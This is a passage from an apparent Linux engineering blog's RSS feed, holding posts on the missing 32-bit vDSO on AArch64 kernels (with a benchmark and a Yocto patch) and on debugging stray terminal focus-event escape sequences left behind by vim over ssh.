<a href="https://github.com/richardweinberger/exit0">exit0</a> can be viewed as a proof of concept.
The assessment of its utility or potential danger is subjective and depends on the reader&rsquo;s perspective.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man7/signal.7.html">signal(7) Linux manual page</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://man7.org/linux/man-pages/man1/kill.1.html">kill(1) Linux manual page</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man7.org/linux/man-pages/man2/ptrace.2.html">ptrace(2) Linux manual page</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://man7.org/linux/man-pages/man2/process_vm_writev.2.html">process_vm_writev(2) Linux manual page</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man5/proc.5.html">proc(5) Linux manual page</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://man7.org/linux/man-pages/man2/exit_group.2.html">exit_group(2) Linux manual page</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://man7.org/linux/man-pages/man2/syscall.2.html">syscall(2) Linux manual page</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kernel/signal.c?h=v6.7#n315">Linux Kernel x86 orig_rax handling</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>A Time Consuming Pitfall for 32-bit Applications on AArch64</title><link>https://sigma-star.at/blog/2024/02/aarch64-32-bit-compat-pitfall/</link><pubDate>Wed, 14 Feb 2024 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2024/02/aarch64-32-bit-compat-pitfall/</guid><description><![CDATA[<h1 id="a-time-consuming-pitfall-for-32-bit-applications-on-aarch64">A Time Consuming Pitfall for 32-bit Applications on AArch64</h1>
<p>It&rsquo;s common to run 32-bit legacy applications on 64-bit Linux systems.
Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this.
When you build the Linux kernel for this scenario, you have to enable the <code>CONFIG_COMPAT</code> option in the kernel config.</p>
<p>However, there&rsquo;s one potential issue I&rsquo;d like to highlight.
Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the <code>-m32</code> switch),
AArch64 requires two separate GCC toolchains.
So, what&rsquo;s the challenge when running a 64-bit kernel?
The problem lies in the virtual dynamic shared object (vDSO)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. To support a vDSO for 32-bit ARM applications,
the kernel requires a second toolchain during the build process.</p>]]></description><content:encoded><![CDATA[<h1 id="a-time-consuming-pitfall-for-32-bit-applications-on-aarch64">A Time Consuming Pitfall for 32-bit Applications on AArch64</h1>
<p>It&rsquo;s common to run 32-bit legacy applications on 64-bit Linux systems.
Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this.
When you build the Linux kernel for this scenario, you have to enable the <code>CONFIG_COMPAT</code> option in the kernel config.</p>
<p>However, there&rsquo;s one potential issue I&rsquo;d like to highlight.
Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the <code>-m32</code> switch),
AArch64 requires two separate GCC toolchains.
So, what&rsquo;s the challenge when running a 64-bit kernel?
The problem lies in the virtual dynamic shared object (vDSO)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. To support a vDSO for 32-bit ARM applications,
the kernel requires a second toolchain during the build process.</p>
<p>If you simply enable <code>CONFIG_COMPAT</code> without setting up <code>CROSS_COMPILE_COMPAT</code> to an AArch32 cross compiler,
the resulting kernel won&rsquo;t supply a vDSO to 32-bit applications.
While these applications will run smoothly, they won&rsquo;t enjoy the advantages of the vDSO.</p>
<p>On the other hand, if you&rsquo;re building the kernel with clang, setting <code>CROSS_COMPILE_COMPAT</code> is not needed.
This is because the same clang toolchain can produce code for different CPU architectures.</p>
<h2 id="the-role-of-the-vdso">The Role of the vDSO</h2>
<p>The vDSO provides the functionality of specific syscalls without requiring a switch into the kernel context.
Instead, the kernel places sufficient information into a memory region accessible to userspace to achieve the same functionality.
An example of this is the <code>gettimeofday(2)</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> system call.
Utilizing the vDSO for querying the current time eliminates the need for a context switch, resulting in a faster operation.</p>
<p>This is where forgetting to set <code>CROSS_COMPILE_COMPAT</code> can have a significant impact.
If you solely rely on <code>CONFIG_COMPAT</code> without configuring <code>CROSS_COMPILE_COMPAT</code>, your legacy application will incur a context switch for each <code>gettimeofday(2)</code> call.
While most applications may not be affected, those with strict time constraints requiring frequent timestamp retrieval, such as real-time applications, could face issues due to this.</p>
<p>I encountered this issue when I observed the absence of the vDSO for a legacy application on an AArch64-platform and became curious about its impact.
To assess the effect, I conducted a small benchmark.
The benchmark involves querying the current time using <code>gettimeofday(2)</code> 500000 times on a Raspberry Pi 3 B+, comparing the performance with and without the presence of a vDSO.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/time.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="n">timeval</span> <span class="n">tv1</span><span class="p">,</span> <span class="n">tv2</span><span class="p">,</span> <span class="n">tvtmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">total</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">gettimeofday</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tv1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">500000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">              <span class="nf">gettimeofday</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tvtmp</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nf">gettimeofday</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tv2</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">total</span> <span class="o">=</span> <span class="p">((</span><span class="n">tv2</span><span class="p">.</span><span class="n">tv_sec</span> <span class="o">*</span> <span class="mi">1000000</span><span class="p">)</span> <span class="o">+</span> <span class="n">tv2</span><span class="p">.</span><span class="n">tv_usec</span><span class="p">)</span> <span class="o">-</span> <span class="p">((</span><span class="n">tv1</span><span class="p">.</span><span class="n">tv_sec</span> <span class="o">*</span> <span class="mi">1000000</span><span class="p">)</span> <span class="o">+</span> <span class="n">tv1</span><span class="p">.</span><span class="n">tv_usec</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%ld</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">total</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><table>
  <thead>
      <tr>
          <th>Test</th>
          <th>Duration (us)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>without vDSO</td>
          <td>1905827</td>
      </tr>
      <tr>
          <td>with vDSO</td>
          <td>68856</td>
      </tr>
  </tbody>
</table>
<p>As illustrated, the benchmark runs more than <strong>25 times</strong> slower without the vDSO.</p>
<h2 id="integrating-cross_compile_compat-support-into-yocto">Integrating <code>CROSS_COMPILE_COMPAT</code> Support into Yocto</h2>
<p>Fixing the problem for my current project turned out to be a little more work, and in this case, I used Yocto.
I found out the hard way that nobody else had considered <code>CROSS_COMPILE_COMPAT</code> before me.
So, I had to patch the kernel bitbake class in Yocto to be able to use the second 32-bit toolchain while building the kernel.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gh">diff --git a/meta/classes-recipe/kernel.bbclass b/meta/classes-recipe/kernel.bbclass
</span></span></span><span class="line"><span class="cl"><span class="gh">index 16b85dbca4..6fcbb1e41b 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/meta/classes-recipe/kernel.bbclass
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/meta/classes-recipe/kernel.bbclass
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -208,6 +208,39 @@ PACKAGES_DYNAMIC += &#34;^${KERNEL_PACKAGE_NAME}-module-.*&#34;
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> PACKAGES_DYNAMIC += &#34;^${KERNEL_PACKAGE_NAME}-image-.*&#34;
</span></span><span class="line"><span class="cl"> PACKAGES_DYNAMIC += &#34;^${KERNEL_PACKAGE_NAME}-firmware-.*&#34;
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gi">+def get_arm32_prefix(d):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    arm_prefix = &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if d.getVar(&#39;TARGET_ARCH&#39;).startswith(&#39;aarch64&#39;):
</span></span></span><span class="line"><span class="cl"><span class="gi">+        pfxs = all_multilib_tune_values(d, &#39;TARGET_PREFIX&#39;).split()
</span></span></span><span class="line"><span class="cl"><span class="gi">+        for p in pfxs:
</span></span></span><span class="line"><span class="cl"><span class="gi">+           if p.startswith(&#34;arm-&#34;):
</span></span></span><span class="line"><span class="cl"><span class="gi">+               arm_prefix = p
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    return arm_prefix
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+def arm32_full_prefix(d):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    pfx = get_arm32_prefix(d)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if pfx == &#39;&#39;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    ps = all_multilib_tune_values(d, &#39;STAGING_BINDIR_TOOLCHAIN&#39;).split()
</span></span></span><span class="line"><span class="cl"><span class="gi">+    for p in ps:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if p.endswith(pfx[:-1]):
</span></span></span><span class="line"><span class="cl"><span class="gi">+            return p + &#39;/&#39; + pfx
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    return &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+def arm32_gcc_dep(d):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    pfx = get_arm32_prefix(d)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if pfx != &#39;&#39;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return &#39;virtual/&#39; + pfx + &#39;gcc&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+DEPENDS += &#34;${@arm32_gcc_dep(d)}&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+export CROSS_COMPILE_COMPAT=&#34;${@arm32_full_prefix(d)}&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> export OS = &#34;${TARGET_OS}&#34;
</span></span><span class="line"><span class="cl"> export CROSS_COMPILE = &#34;${TARGET_PREFIX}&#34;
</span></span></code></pre></div><p>My patch<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> is currently under review, and I&rsquo;m hopeful that it will be merged soon.</p>
<h2 id="checking-for-the-availability-of-a-vdso">Checking for the Availability of a vDSO</h2>
<p>If you&rsquo;re not sure whether a program can benefit from a vDSO, Linux offers multiple ways to check.
Linux exposes the address of the vDSO via the auxiliary vector <code>AT_SYSINFO_EHDR</code>;
this way, even statically linked programs can find and load the vDSO.
Using the glibc helper function <code>getauxval(3)</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>, a program can check itself whether a vDSO is available.
The following snippet shows how:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/auxv.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nf">getauxval</span><span class="p">(</span><span class="n">AT_SYSINFO_EHDR</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;vDSO available!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;No vDSO available!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>If the program is dynamically linked, the environment variable <code>LD_SHOW_AUXV</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> can be used to dump the auxiliary vector before the program is executed.
If <code>AT_SYSINFO_EHDR</code> shows up, a vDSO is available.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">root@target:~# <span class="nv">LD_SHOW_AUXV</span><span class="o">=</span><span class="m">1</span> /bin/program
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">AT_SYSINFO_EHDR:      0xf7f6a000
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">root@target:~#
</span></span></code></pre></div><h2 id="summary">Summary</h2>
<p>When building an AArch64 kernel intended to run legacy applications, ensure that <code>CROSS_COMPILE_COMPAT</code> is directed to a 32-bit toolchain.
Failure to do so might lead to performance issues.
Additionally, confirm that the build system you are using supports the configuration of <code>CROSS_COMPILE_COMPAT</code>.
As of today, neither Yocto (actually OpenEmbedded), Buildroot, nor PTXdist sets <code>CROSS_COMPILE_COMPAT</code>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man7/vdso.7.html">vdso(7) Linux manual page</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://man7.org/linux/man-pages/man2/gettimeofday.2.html">gettimeofday(2) Linux manual page</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://lists.openembedded.org/g/openembedded-core/message/195064">OpenEmbedded CROSS_COMPILE_COMPAT Patch</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://man7.org/linux/man-pages/man3/getauxval.3.html">getauxval(3) Linux manual page</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man8/ld.so.8.html">ld.so(8) Linux manual page</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Investigating Paranormal Shell Activities</title><link>https://sigma-star.at/blog/2023/11/paranormal-shell-activities/</link><pubDate>Fri, 17 Nov 2023 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/11/paranormal-shell-activities/</guid><description><![CDATA[<h1 id="investigating-paranormal-shell-activities">Investigating Paranormal Shell Activities</h1>
<p>Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator:
terminal tab windows were getting highlighted without any apparent notification within the shell session.
Time to unpack our trusty debugging tools to uncover the mystery behind these activities.</p>
<p>Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one.
Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like <code>^I^O^I^O</code>.
Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue.
Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.</p>]]></description><content:encoded><![CDATA[<h1 id="investigating-paranormal-shell-activities">Investigating Paranormal Shell Activities</h1>
<p>Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator:
terminal tab windows were getting highlighted without any apparent notification within the shell session.
Time to unpack our trusty debugging tools to uncover the mystery behind these activities.</p>
<p>Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one.
Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like <code>^I^O^I^O</code>.
Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue.
Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.</p>
<h2 id="hunting-for-ghosts">Hunting for Ghosts</h2>
<p>The initial step involved inspecting a tab affected by the issue.
Despite examining tab-specific settings in the terminal emulator, no alarming findings emerged.
Consequently, I turned my attention to the shell itself and employed the strace system call tracer<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.
The objective was to investigate whether the highlighting originated from keyboard events or similar triggers, entertaining the possibility that my laptop keyboard might be malfunctioning.</p>
<p>Tracing <code>read()</code> and <code>write()</code> syscalls promptly revealed that my shell was indeed receiving input without any corresponding keystrokes from my end.
Specifically, the shell was consistently receiving three characters: <code>\033</code> (hex <code>0x1b</code>), <code>[</code>, followed by either <code>I</code> or <code>O</code>.
Subsequently, the shell emitted another character, consistently <code>\7</code>.</p>
<pre tabindex="0"><code>read(0, &#34;\33&#34;, 1)                       = 1
read(0, &#34;[&#34;, 1)                         = 1
read(0, &#34;I&#34;, 1)                         = 1
write(2, &#34;\7&#34;, 1)                       = 1
</code></pre><p>As I examined the strace output further, a realization struck me - <code>0x07</code> corresponds to the ASCII bell character (<code>BEL</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>).
This discovery literally rang a bell inside my head.
It explained why the terminal emulator highlighted the tab, aligning perfectly with the expected behavior when the shell writes <code>BEL</code> to the output stream.</p>
<p>However, <code>0x1b</code>, <code>[</code> and <code>I</code> or <code>O</code> still puzzled me.
I was already aware that octal <code>033</code> represents the escape character<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>. These days, such sequences are commonly used in the shell <code>PS1</code> variable for creating visually appealing terminals. Although, in my case, it wasn&rsquo;t related to color formatting.
My attempts to search for the three-byte sequence online proved challenging due to its non-google-friendly nature, with multiple possible representations.
Subsequent searches involving only the escape character and &ldquo;KDE Konsole&rdquo; my terminal emulator, led me to the Konsole source code on GitHub.
Trusting my instincts, I delved into the Konsole source code, specifically searching for <code>[I</code> and <code>[O</code>.
This search led me to a C++ method called <code>Vt102Emulation::focusChanged</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C++" data-lang="C++"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">Vt102Emulation</span><span class="o">::</span><span class="n">focusChanged</span><span class="p">(</span><span class="kt">bool</span> <span class="n">focused</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_reportFocusEvents</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">sendString</span><span class="p">(</span><span class="n">focused</span> <span class="o">?</span> <span class="s">&#34;</span><span class="se">\033</span><span class="s">[I&#34;</span> <span class="o">:</span> <span class="s">&#34;</span><span class="se">\033</span><span class="s">[O&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>It became clear that on every tab focus change, Konsole&rsquo;s code was triggering the peculiar sequence.
Specifically, on each tab focus change, Konsole sends either <code>\033[I</code> or <code>\033[O</code> to the shell.
So far, so good. However, the mystery remained as to why I only observed this behavior on certain tabs.</p>
<p>Further exploration of Konsole&rsquo;s source code revealed that sending the three-byte sequence is governed by the variable <code>_reportFocusEvents</code>, and this variable, in turn, is influenced by control sequence <code>\033[?1004h</code> resp. <code>\033[?1004l</code>.
Indeed, executing the command <code>echo -ne &quot;\033[?1004l</code> in an affected terminal instantaneously cured the issue.
Reading these sequences is sometimes not obvious, a control sequence typically consists of an ASCII <code>ESC</code> character, a CSI (Control Sequence Introducer, <code>[</code> in our case), and parameters.
These days they are mostly used for colorful<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> output in the shell.
Enabling focus events is defined by XTerm<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> as <code>CSI ? 1004 h</code> and disabling as <code>CSI ? 1004 h</code>, KDE Konsole follows this definition.</p>
<p>The question still lingers: why aren&rsquo;t all tabs affected, and why didn&rsquo;t I notice the problem earlier?
It dawned on me that there might be a program enabling focus reporting on the affected tabs.
Upon further reflection, I realized that the issue occurred exclusively on tabs I used to ssh into a particular server.
Considering my unreliable internet connection leading to frequent ssh timeouts and remote shell terminations, it occurred to me: What if some program on the remote server is enabling focus reporting and leaving it enabled?</p>
<p>An examination of my bash history revealed that I primarily used <code>git</code>, <code>vim</code>, <code>qemu</code>, and other fundamental shell tools - nothing out of the ordinary.
To delve deeper, I conducted additional research to determine if any of these tools, <code>git</code>, <code>vim</code>, or <code>qemu</code> made use of focus reporting.
As it turned out, the newer version of <code>vim</code>, version <code>9</code>, indeed includes support for focus events<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.
It suddenly struck me that I had recently upgraded to this latest version on the remote server.</p>
<p>To verify the hypothesis, I have created the following bpftrace<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> script:</p>
<pre tabindex="0"><code class="language-.bt" data-lang=".bt">tracepoint:syscalls:sys_enter_write
/uid == 1000 &amp;&amp; args-&gt;fd == 1 &amp;&amp; args-&gt;count &lt; 64/
{
        if (strcontains(str(args-&gt;buf, args-&gt;count), &#34;\033[?1004h&#34;)) {
                printf(&#34;process %s (%d) enabled focus events\n&#34;, comm, pid);
        } else if (strcontains(str(args-&gt;buf, args-&gt;count), &#34;\033[?1004l&#34;)) {
                printf(&#34;process %s (%d) disabled focus events\n&#34;, comm, pid);
        }
}
</code></pre><p>It checks whether a program run by me (<code>uid 1000</code>) writes the focus events enable or disable control sequence to <code>stdout</code>.</p>
<p>Indeed, <code>vim</code> enables these events upon start and disables them later upon regular exit.</p>
<pre tabindex="0"><code>$ bpftrace csi_write.bt
Attaching 1 probe...
process vi (18811) enabled focus events
process vi (18811) disabled focus events
</code></pre><p>From now on the following two lines are part of my <code>.vimrc</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-vimrc" data-lang="vimrc"><span class="line"><span class="cl"><span class="k">set</span> <span class="nx">t_fd</span><span class="p">=</span>
</span></span><span class="line"><span class="cl"><span class="k">set</span> <span class="nx">t_fe</span><span class="p">=</span>
</span></span></code></pre></div><p>They make sure to have <code>vim</code>&rsquo;s focus reporting feature disabled: I don&rsquo;t need it.</p>
<h2 id="summary">Summary</h2>
<p>Whenever a <code>vim</code> session was interrupted due to a connection timeout on this particular server, it left focus reporting enabled on my laptop&rsquo;s shell.
This, in turn, caused the shell to emit bell events, and explained why I occasionally observed <code>^I^O</code> when running programs that didn&rsquo;t consume any input.
The recurrent issues with my internet connection played a crucial role in triggering this situation frequently.
The interruptions in the connection led to instances where <code>vim</code> on the remote server was abruptly terminated, failing to disable focus reporting in the process.</p>
<p>Indeed, there were no ghosts in my shell - just a case of me getting a bit rusty with remembering shell control sequences, coupled with a problematic internet connection and an upgraded <code>vim</code>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://strace.io/">strace</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://en.wikipedia.org/wiki/Bell_character">Bell character</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man7.org/linux/man-pages/man4/console_codes.4.html">console_codes(4) - Linux manual page</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://github.com/KDE/konsole/blob/bac3e771eeb1f43e6b6398efcbecc4a65f8fde8a/src/Vt102Emulation.cpp#L2314">KDE Konsole source</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html">Bash Prompt HOWTO: Colours</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://invisible-island.net/xterm/ctlseqs/ctlseqs.html">XTerm Control Sequences</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://vimhelp.org/term.txt.html#xterm-focus-event">VIM xterm-focus-event</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://bpftrace.org/">bpftrace website</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way</title><link>https://sigma-star.at/blog/2023/11/ftrace-skb-drop/</link><pubDate>Thu, 02 Nov 2023 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/11/ftrace-skb-drop/</guid><description><![CDATA[<h1 id="analyzing-packet-drops-without-tooling-or-ftrace-the-pure-way">Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way</h1>
<p>Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals.
Today, we&rsquo;d like to show you a way to understand packet drops without the need for any additional tools to be installed.
